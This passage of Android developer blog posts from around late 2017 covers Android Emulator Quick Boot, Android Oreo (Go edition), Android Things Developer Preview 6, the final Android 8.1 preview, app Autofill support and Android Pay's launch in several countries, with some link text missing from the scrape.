we are excited to release the feature as a stable update today.

In addition to this new feature, we also wanted to highlight some of the top
features from recent releases. Since the complete revamp of the Android Emulator
years ago
, we continue to focus on improving speed, stability and adding a
rich set of features that accelerate your app development and testing. With all
the recent changes, it is definitely worth updating to the latest version of the
Android Emulator to use it today.

Top 5 Features

  • Quick Boot – Released as a stable feature today, Quick Boot
    allows you to resume your Android Emulator session in under 6 seconds. The first
    time you start an Android Virtual Device (AVD) with the Android Emulator, it
    must perform a cold boot (just like powering on a device), but subsequent starts
    are fast and the system is restored to the state at which you closed the
    emulator last (similar to waking a device). We accomplished this by completely
    re-engineering the legacy emulator snapshot architecture to work with virtual
    sensors and GPU acceleration. No additional setup is required because Quick Boot
    is enabled by default starting with Android Emulator v27.0.2.

Quick Boot in the Android Emulator

  • Android CTS Compatibility With each
    release of the Android SDK, we ensure that the Android Emulator is ready for
    your app development needs, from testing backwards compatibility with Android
    KitKat to integrating the latest APIs of the developer preview. To increase
    product quality and reliability of emulator system images, we now qualify final
    Android System Image builds from Android Nougat (API 24) and higher against the
    Android Compatibility Test
    (CTS)—the same testing suite that official Android physical devices
    must pass.
  • Google Play Support We know that many
    app developers use Google Play Services, and it can be difficult to keep the
    service up to date in the Android Emulator system images. To solve this problem,
    we now offer versions of Android System Images that include the Play Store app.
    The Google Play images are available starting with Android Nougat (API 24). With
    these new emulator images, you can update Google Play Services via the Play
    Store app in your emulator just as you would on a physical Android device. Plus,
    you can now test end-to-end install, update, and purchase flows with the Google
    Play Store.
  • Performance Improvements Making the
    emulator fast and performant is an on-going goal for our team. We continuously
    look at the performance impact of running the emulator on your development
    machine, especially RAM usage. With the latest versions of the Android Emulator,
    we now allocate RAM on demand, instead of allocating and pinning the memory to
    the max RAM size defined in your AVD. We do this by tapping into the native
    hypervisors for Linux (KVM) and macOS® (Hypervisor.Framework), and an
    enhanced Intel® HAXM (v6.2.1 and higher) for Microsoft®
    Windows®, which uses the new on-demand memory allocation.
  • Additionally, over the last several releases, we have improved CPU and I/O
    performance while enhancing GPU performance, including OpenGL ES 3.0 support.
    Looking at a common task such as ADB push highlights the improvements in the
    Android CPU and I/O pipelines:

    ADB Push Speed Comparison with Android Emulator

    For GPU performance, we created a sample GPU emulation stress
    test app
    to gauge improvements over time. We found that the latest emulator
    can render higher frame rates than before, and it is one of the few emulators
    that can render OpenGL ES 3.0 accurately per the Android specification.

GPU Emulation Stress Test – Android App

GPU Emulation Stress Test with Android Emulator

More Features

In addition to these major features, there are a whole host of additional
features that we have added to the Android Emulator over the last year that you
may not be aware of:

  • Wi-Fi support – Starting with API 24 system images, you can
    create an AVD that both connects to a virtual cellular network and a virtual
    Wi-Fi Access Point.
  • Google Cast support – When using a Google Play system
    image, you can cast screen and audio content to Chromecast devices on the same
    Wi-Fi network.
  • Drag and drop APKs & files – Simply drag an APK onto the
    Android Emulator window to trigger an app install. Also you can drag any other
    data file and find it in the /Downloads folder in your Android Virtual Device.
  • Host copy & paste – You can copy & paste text between the
    Android Emulator and your development machine.
  • Virtual 2-finger pinch & zoom – When interacting with apps
    like Google Maps, hold down the Ctrl Key (on Microsoft®
    Windows® or Linux) or ⌘ (on macOS® ) , and a finger
    overlay appears on screen to aid with pinch & zoom actions.
  • GPS location – Manually select a GPS point or set of GPS
    points under the Location tab of the Android Emulator.
  • Virtual sensors – There is a dedicated page in the extended
    controls panel that has supported sensors in the Android Emulator including
    acceleration, rotation, proximity and many more.
  • WebCam support – You can use a webcam or your laptop
    built-in webcam as a virtual camera in the AVD. Validate your AVD camera
    settings in the Advanced Settings page in the AVD Manager.
  • Host machine keyboard – You can use your real keyboard to
    enter text into the Android Virtual Device.
  • Virtual SMS and phone calls – In the extended controls
    panel, you can trigger a virtual SMS or phone call to test apps with telephony
  • Screen zooming – On the main toolbar, click on the magnify
    glass icon to enter zoom mode, and then select a region of the screen you want
    to inspect.
  • Window resizing – Simply drag a corner of the Android
    Emulator window to change to the desired size.
  • Network proxy support – Add a custom HTTP proxy for your
    Android Emulator session by going to the Settings page under the Proxy tab.
  • Bug reporting – You can quickly generate a bug report for
    your app by using the Bug Report section in the extended controls panel to share
    with your team or to send feedback to Google.

Learn more about the Android Emulator in the Emulator

Getting Started

All of these features and improvements are available to download and use now
with Android Emulator v27.0.2+, which you can get via the SDK Manager in Android
Studio. For a fast experience, we recommend creating and running the x86 version
of emulator system images, with the latest Android Emulator, Intel® HAXM (if
applicable) and graphics drivers installed.

We appreciate any feedback on things you like, issues or features you would like
to see. If you find a bug, issue, or have a feature request feel free to file
an issue
. We are definitely not done, but we hope you are excited about the
improvements so far.

Introducing Android Oreo (Go edition) with the release of Android 8.1

Introducing Android Oreo (Go edition) with the release of Android 8.1

Since Android’s creation, our mission has been to bring the power of computing to everyone. As a global operating system, Android has grown to more than 2 billion active devices around the world, with more users in India than the U.S.

To make sure billions more people can get access to computing, it’s important that entry-level devices are fully functioning smartphones that can browse the web and use apps. At Google I/O this year, we gave an early look at a project we called “Android Go” to make this possible. We’re excited to announce that this software experience—Android Oreo (Go edition)—is ready, and launching as a part of the Android 8.1 release tomorrow.

Android Oreo devices with 512MB to 1GB of memory will come with the all the Go optimizations. This Android Oreo (Go edition) experience is made up of three key components:

  • Operating System: Performance and storage improvements to the OS with data management features and security benefits built-in.

  • Google Apps: A new set of Google apps, designed to be lighter and relevant to the unique needs of people who are coming online for the first time.

  • Google Play Store: A tuned version of the Google Play Store that allows you to download any app, but also highlights the apps designed to work best on your device.

Go big with faster performance, more storage, data management, and security

We enhanced Android Oreo (Go edition) for speed and reliability on entry-level devices, which means the average app is now 15 percent faster on devices running Android Oreo (Go edition). There are many of these kinds of optimizations—and they really add up. If all entry level Android devices launched apps 15 percent faster, that would save the world a cumulative one million hours of time—every day!

It’s common for entry level devices to have very little storage space available once you account for the size of the OS and the preinstalled apps. This can be frustrating for people who want more space for their music, apps, and photos. So, we’ve optimized Android Oreo (Go edition) and enhanced our preinstalled Google apps to take up 50 percent less space. The net result is that we’ve doubled the amount of available storage on entry-level devices.

App Storage

Devices running Android Oreo (Go edition) also come with Google’s data saver features turned on by default. For example, Data Saver in Chrome saves the average user more than 600MB of data per year. You can also manage which apps can use background data with our built-in data saver feature, giving you more control over how your data is used.

Android Oreo is the most secure version of Android yet, so when you buy an Android Oreo (Go edition) device, you’ll be getting all the same security features. And of course all devices with Android Oreo (Go edition) get Google Play Protect built-in. Google Play Protect continuously works to keep your device, data and apps safe. It scans your app installs, even when you’re offline, no matter where you downloaded them from.

Go with Google

We’ve redesigned many of our popular Google apps to address local needs. Preinstalled on Android Oreo (Go edition) devices, this set of optimized apps includes Google Go, Google Assistant Go, YouTube Go, Google Maps Go, Gmail Go, Gboard, Google Play, Chrome, and the new Files Go app by Google.

With our new and reimagined Google apps, we’ve focused on making them not only smaller, but smooth and fast too. For example, Google Go—a new app to find the information you want—optimizes data by up to 40 percent, weighs less than 5MB in size, and makes it faster to find popular and trending information with a simple, tappable interface. And with the Google Assistant for Android (Go edition), you can quickly send messages, make calls, set alarms, and more with your voice and a single touch of the screen.

Our storage-saving features extend beyond the OS to a new file-management app by Google—Files Go—which helps you clean up space and stay organized. Whether it’s recommendations for removing spam, duplicate images or unused apps from your phone, Files Go is the perfect complement to the storage-maximizing features of Android Oreo (Go edition).


Go Play

In the Play Store, you can download any app, and we’ve also created a new section that recommends popular apps that are tuned to run well on entry-level devices. 

We’ve have been thrilled to see that many of our partners are using our building for billions guidelines to either optimize their existing app or create a new app to run well on entry-level devices, in the hopes of bringing their experiences to billions of new smartphone users.

Ready. Set. Go.

With the launch of Android Oreo (Go edition) in Android 8.1, partners will soon be able to ship this new release on their entry-level devices around the world. We can’t wait for our partners’ devices to hit shelves in the coming months.

And if you’re a developer, let’s build for the next billion together.

Android Things Developer Preview 6

Android Things Developer Preview 6

Posted by Wayne Piekarski,
Developer Advocate for IoT

The next release of Android Things Developer Preview 6 (DP6) is here with lots
of new features and bug fixes. Android Things is Google’s platform that enables
Android Developers to create Internet of Things (IoT) devices with support for
powerful applications such as video and audio processing and on-board machine
learning with TensorFlow. For the specifics on what is new, visit the release
. Here are a few of the highlights of what is in DP6.

IoT launcher

DP6 includes a new IoT launcher that allows the user to see the current state of
the device and change settings using a touch screen or USB input devices.
Settings such as configuring the WiFi, finding the build ID, and checking for
updates is now something that can be done interactively, making it even easier
to get started. This launcher is visible when no other developer-provided IOT_LAUNCHER
Activity is present.

Graphics acceleration defaults

Android Things uses the open-source SwiftShader library, a
CPU-based implementation of the OpenGL ES APIs. This enables common OpenGL
support across all platforms, even those with no GPU hardware. However, many
simple 2D UIs render faster if the drawing is done directly to the framebuffer
and OpenGL emulation is not used. In DP6, OpenGL rendering is disabled by
default to ensure that most apps run with the fastest UI possible. If you need
OpenGL support for 3D rendering, WebView, or TextureView, then explicitly enable
it in your AndroidManifest.xml according to the documentation:



API 27 and Google Play Services

DP6 is now based on the latest Android 8.1 developer preview, with API level 27.
Most of the standard Android samples now work on DP6. For example, the Camera2Basic
sample using the Camera2 API and TextureView now works on both NXP and Raspberry
Pi based devices (with the hardwareAccelerated flag set to true). Google Play
Services has been updated to support SDK version 11.6, supporting all the latest

Command-line flashing tool

We heard from developers that flashing and configuring a board using fastboot
can be tedious, so the Android Things
now brings a new and simpler way of flashing device images. Instead
of using fastboot and adb commands manually, a new interactive command-line
is now provided. This tool makes it much easier to get started with Android
Things, and automates the download and flashing process.

Android Things Console updates

DP6 introduces the new partition scheme that will be used for the upcoming
production release. Due to the new partition layout, the over-the-air update
(OTA) system cannot update existing DP5.1 or earlier devices. Developers will
need to go to the Android
Things Console
, and download and flash a new DP6 build. The Console UI has
also been changed for DP6 features, and will only allow you to create new builds
based on DP6. If you have any older existing builds, they are still available
for download but will not support OTA updates. Developers are encouraged to move
all work to DP6.

GPIO pin naming

The interactive IoT launcher shown at boot now includes an I/O pinout section
where you can discover the labels of all the pins. The pin naming used by the
i.MX7 has been changed, and you should update your code to use this new naming
convention. See the i.MX7
for the complete list of pin names.

Settings and Device Update APIs

New APIs have been added to Android Things that control the configuration
of the local device and device updates. UpdateManager
gives developers control over when updates and reboots can be performed,
ensuring the device is available for the user when needed. DeviceManager
controls factory reset, reboot, and device locales. APIs are also provided for
settings such as ScreenManager
to control the screen, and TimeManager
to control the clock and time zone.

Peripheral command-line tool

We now provide a command-line tool pio
that gives developers access to the Peripheral API via the adb shell. Developers
can interactively test GPIO, PWM, UART, I2C, SPI, and future interfaces from an
adb shell, which is useful for debugging and automated testing.


DP6 includes significant changes and improvements to the platform. Please send
us your feedback by filing bug
and feature
, as well as asking any questions on Stack
. To start using DP6, use the Android Things Console to
download system images and flash existing devices, or use the android-things-setup-utility.
More information about the changes are available in the release
. You can also join Google’s IoT
Developers Community
on Google+, a great resource to get updates and discuss
ideas. Also, we have our new
, where everyone can share the amazing projects they have built. We
look forward to seeing what you build with Android Things!

Final preview of Android 8.1 now available

Final preview of Android 8.1 now available

Posted by Dave Burke, VP of Engineering

Starting today we’re rolling out an update to the Android 8.1 developer preview,
the last before the official launch to consumers in December. Android 8.1 adds
targeted enhancements to the Oreo platform, including optimizations for
Android Go (for devices with 1GB or less of memory) and a
Neural Networks API to accelerate on-device machine
intelligence. We’ve also included a few smaller enhancements to Oreo in response
to user and developer feedback.

If you have a device enrolled in the Android Beta Program, you’ll receive the
update over the next few days. If you haven’t enrolled yet, just visit the Android Beta site to enroll and get the

At the official release in December we’ll bring Android 8.1 to all supported
Pixel and Nexus devices worldwide — including Pixel 2 and Pixel 2
, Pixel, Pixel XL, Pixel C, Nexus 5X, and Nexus 6P. Watch for
announcements soon.

What’s in this update?

This preview update includes near-final Android 8.1 system images for Pixel and
Nexus devices, with official APIs (API level 27), the latest optimizations and
bug fixes, and the November 2017 security patch updates. You can use the images
for compatibility testing or to develop using new Android 8.1 features like the
Networks API
and others.

The Neural Networks API provides accelerated computation and inference for
on-device machine learning frameworks like TensorFlow Lite — Google’s
cross-platform ML library for mobile — as well as Caffe2 and others. TensorFlow
Lite is now
available to developers
, so visit the TensorFlow
Lite open source repo
for downloads and docs. TensorFlow Lite works with the
Neural Networks API to run models like MobileNets,
Inception v3, and Smart
efficiently on your mobile device.

Also, for Pixel 2 users, the Android 8.1 update on these devices enables Pixel
Visual Core
— Google’s first custom-designed co-processor for image
processing and ML — through a new developer option. Once enabled, apps using
Android Camera API can capture HDR+ shots through Pixel Visual Core. See the release
for details.

Get your apps ready

With the consumer launch coming in December, it’s
important to test your current app now. This ensures that users transition
seamlessly to Android 8.1 when it arrives on their devices.

Just enroll your eligible device in Android Beta to get the latest update,
then install your app from Google Play and test. If you don’t have a Pixel or
Nexus device, you can set up an Android 8.1 emulator for testing instead. If you
notice any issues, fix them and update your app in Google Play right away —
without changing the app’s platform targeting.

When you’re ready, take advantage of new features and APIs in Android 8.1. See
the developer
preview site
, the API 27 diff
, and the updated
API reference
for details.

Speed your development with Android Studio

To build with Android 8.1, we recommend updating to Android
Studio 3.0
, which is now available from the stable
. On top of the new app performance
profiling tools
, support for the Kotlin
programming language
, and Gradle build optimizations, Android Studio 3.0
makes it easier to develop with Android Oreo features like Instant
, downloadable
, and adaptive

We also recommend updating to the Android
Support Library 27.0.0
, which is available from Google’s
Maven repository
. See the version
for details on what’s new.

Publish your updates to Google Play

Google Play is open for apps compiled against or targeting API 27. When you’re
ready, you can publish your APK updates in your alpha, beta, or production

To make sure your app runs well on Android 8.1 as well as older versions, we
recommend using Google Play’s beta
testing feature
to run an alpha test on small group of users. Then run a
much open beta test on a much larger group of users. When you’re ready to launch
your update, you can use a staged
in your production channel. We’re looking forward to seeing your app

Give us your feedback

As always, your feedback is crucial, so please keep it coming!.
We’ve set up different hotlists where you can report Android
platform issues
, app
compatibility issues
, and third-party
SDKs and tools issues
. We also have a dedicated hotlist for Neural
Networks API issues

You can also give us feedback through the Android
Developer community
or Android Beta
as we work towards the consumer release in December.

Getting your Android app ready for Autofill

Getting your Android app ready for Autofill

Posted by Wojtek Kalicinski, Android Developer Advocate, Akshay Kannan,
Product Manager for Android Authentication, and Felipe Leme, Software Engineer on Android Frameworks

Starting in Oreo, Autofill makes it easy for users to provide credit cards,
logins, addresses, and other information to apps. Forms in your apps can now be
filled automatically, and your users no longer have to remember complicated
passwords or type the same bits of information more than once.

Users can choose from multiple Autofill services (similar to keyboards today).
By default, we include Autofill with Google, but users can also select any third
party Autofill app of their choice. Users can manage this from
Settings->System->Languages>Advanced->Autofill service.

What’s available today

Today, Autofill with Google supports filing credit cards, addresses, logins,
names, and phone numbers. When logging in or creating an account for the first
time, Autofill also allows users to save the new credentials to their account.
If you use WebViews in your app, which many apps do for logins and other
screens, your users can now also benefit from Autofill support, as long as they
have Chrome 61 or later installed.

The Autofill API is open for any developer to implement a service. We are actively
working with 1Password,
and LastPass
to help them with their implementations and will be working with other password managers shortly.
We are also creating a new curated collection on the Play Store, which the “Add service” button in Settings will link to. If you
are a password manager developer and would like us to review your app, please get
in touch

What you need to do as a developer

As an app developer, there are a few simple things you can do to take advantage
of this new functionality and make sure that it works in your apps:

Test your app and annotate your views if needed

In many cases, Autofill may work in your app without any effort. But to ensure
consistent behavior, we recommend providing explicit hints to tell the framework
about the contents of your field. You can do this using either the android:autofillHints
or the setAutofillHints()

Similarly, with WebViews in your apps, you can use HTML Autocomplete
to provide hints about fields. Autofill will work in WebViews as
long as you have Chrome 61 or later installed on your device. Even if your app
is using custom views, you can also define
the metadata that allows autofill to work

For views where Autofill does not make sense, such as a Captcha or a message
compose box, you can explicitly mark the view as IMPORTANT_FOR_AUTOFILL_NO
in the root of a view hierarchy). Use this field responsibly, and remember that
users can always bypass this by long pressing an EditText and selecting
“Autofill” in the overflow menu.

Affiliate your website and mobile app

Autofill with Google can seamlessly share logins across websites and mobile apps
‒ passwords saved through Chrome can also be provided to native apps. But in
order for this to work, as an app developer, you must explicitly declare the
association between your website with your mobile app. This involves 2 steps:

Step 1: Host a JSON file at

If you’ve used technologies like App Links or Google Smart Lock before, you
might have heard about the Digital Asset Links (DAL) file. It’s a JSON file
placed under a well known location in your website that lets you make public,
verifiable statements about other apps or websites.

You should follow the Smart
Lock for Passwords guide
for information about how to create and host the
DAL file correctly on your server. Even though Smart Lock is a more advanced way
of signing users into your app, our Autofill service uses the same
infrastructure to verify app-website associations. What’s more, because DAL
files are public, third-party Autofill service developers can also use the
association information to secure their implementations.

Step 2: Update your App’s Manifest with the same

Once again, follow the Smart
Lock for Passwords guide
to do this, under “Declare the association in the
Android app.”

You’ll need to update your app’s manifest file with an asset_statements
resource, which links to the URL where your assetlinks.json file is hosted. Once
that’s done, you’ll need to submit your updated app to the Play Store, and fill
out the Affiliation
Submission Form
for the association to go live.

When using Android Studio 3.0, the App Links Assistant can generate all of this
for you. When you open the DAL generator tool (Tools -> App Links Assistant ->
Open Digital Asset Links File Generator), simply make sure you enable the new
checkbox labeled “Support sharing credentials between the app and website”.

Then, click on “Generate Digital Asset Links file”, and copy the preview content
to the DAL file hosted on your server and in your app. Please remember to verify
that the selected domain names and certificates are correct.

Future work

It’s still very early days for Autofill in Android. We are continuing to make
some major investments going forward to improve the experience, whether you use
Autofill with Google or a third party password manager.

Some of our key areas of investment include:

  1. Autofill with Google: We want to provide a great experience
    out of the box, so we include Autofill with Google with all Oreo devices. We’re
    constantly improving our field detection and data quality, as well as expanding
    our support for saving more types of data.
  2. WebView support: We introduced initial support for filling
    WebViews in Chrome 61, and we’ll be continuing to test, harden, and make
    improvements to this integration over time, so if your app uses WebViews you’ll
    still be able to benefit from this functionality.
  3. Third party app support: We are working with the ecosystem
    to make sure that apps work as intended with the Autofill framework. We urge you
    as developers to give your app a spin on Android Oreo and make sure that things
    work as expected with Autofill enabled. For more info, see our full
    documentation on the Autofill

If you encounter any issues or have any suggestions for how we can make this
better for you, please send
us feedback

Android Pay goes local in Ukraine, Czech Republic, Brazil and Slovakia

Android Pay goes local in Ukraine, Czech Republic, Brazil and Slovakia

Whenever we launch Android Pay in a new market, we think about how to enable faster, easier checkout while taking into account the distinct payment habits of each place. Working with partners is a key part of creating a local experience.

A few weeks ago, we launched Android Pay in Ukraine. Today, it’s available in Czech Republic and Brazil, and soon it’ll be live in Slovakia, too. Here’s a look at how two different approaches simplify checkout in two unique parts of the world.

Leave your wallet at home in Central and Eastern Europe

Paying contactless isn’t new in Central and Eastern Europe–in fact, in many places it’s the norm. With Android Pay, we wanted to make it easier for locals to leave their wallets at home at places they know and love. Starting today in Czech Republic, you can pick up a loaf of traditional Šumava bread at your favorite bakery or an ice-cold Kofola at Albert using nothing but your phone.

Oleksandr Danylyuk, Ukraine’s Finance Minister, demonstrating Android Pay at the launch event

And in a region full of Android fans, we’re excited to see it’s already taking off! Ukraine’s Finance Minister Oleksandr Danylyuk was the country’s first person to try Android Pay when we launched on November 1, demonstrating how it works on the Kiev Metro.

Pay for pão de queijo with your phone in Brazil

On the other side of the globe in Brazil, contactless payments are just picking up speed. So we partnered with merchants like Ipiranga and Casa do Pão de Queijo to help us merge new experiences (like paying with your phone) with familiar ones (like buying groceries or Brigadeiros). Brazil is also the first Latin American country to get Android Pay, and we’re looking forward to helping contactless payments become part of people’s everyday routines.


We’ll be bringing Android Pay to even more places soon.